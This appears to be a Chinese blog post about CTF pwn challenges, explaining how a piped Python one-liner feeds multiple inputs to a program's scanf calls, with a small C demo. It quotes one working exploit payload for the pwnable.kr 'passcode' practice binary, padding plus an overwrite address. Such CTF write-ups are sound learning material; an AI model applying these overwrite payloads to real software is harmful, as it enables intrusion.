CTF PWN 远程payload

最近在研究一些pwn类型的题.答案中经常出现一些python -c “XXX”|远端的程序.令我十分费解,经过我两个小时的研究,出了一些结果.给大家分享一下.
就拿pwnable.kr的一道题的答案举例:python -c “print (‘a’*96+’\x00\xa0\x04\x08’+’\n’+’134514147’)” | ./passcode.
首先这是linux的一条管道命令,前面的输出作为后面一个的输入,passcode是一个linux下的可执行程序.
你是否会认为前者输出的只作为一个参数传入后者?
或者你有会问:如何传递两个参数给后面的程序?
我百度了许久,没找到合适的答案.于是就自己亲自尝试.
上面的输出是作为两个参数传入后者的,因为字符串中有一个’\n’.这个’\n’,将上面的字符串分成两个参数传递给后者.
举个例子:

#include<stdio.h>
int main()
{
    int a;
    int b;
    scanf("%d",&a);
    scanf("%d",&b);
    printf("a is %d\n",a);
    printf("b is %d\n",b);
    return 0;
}
这是一段很简单的C语言程序,如何通过命令行一次传入两个参数呢?
python  -c "print ('12'+'\n'+'13')"|./simple

成功传入两个参数
另外还有其他方法,比如:

python -c "print ('12');print('\n');print(12)"|./simple

这样也是可以成功的.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值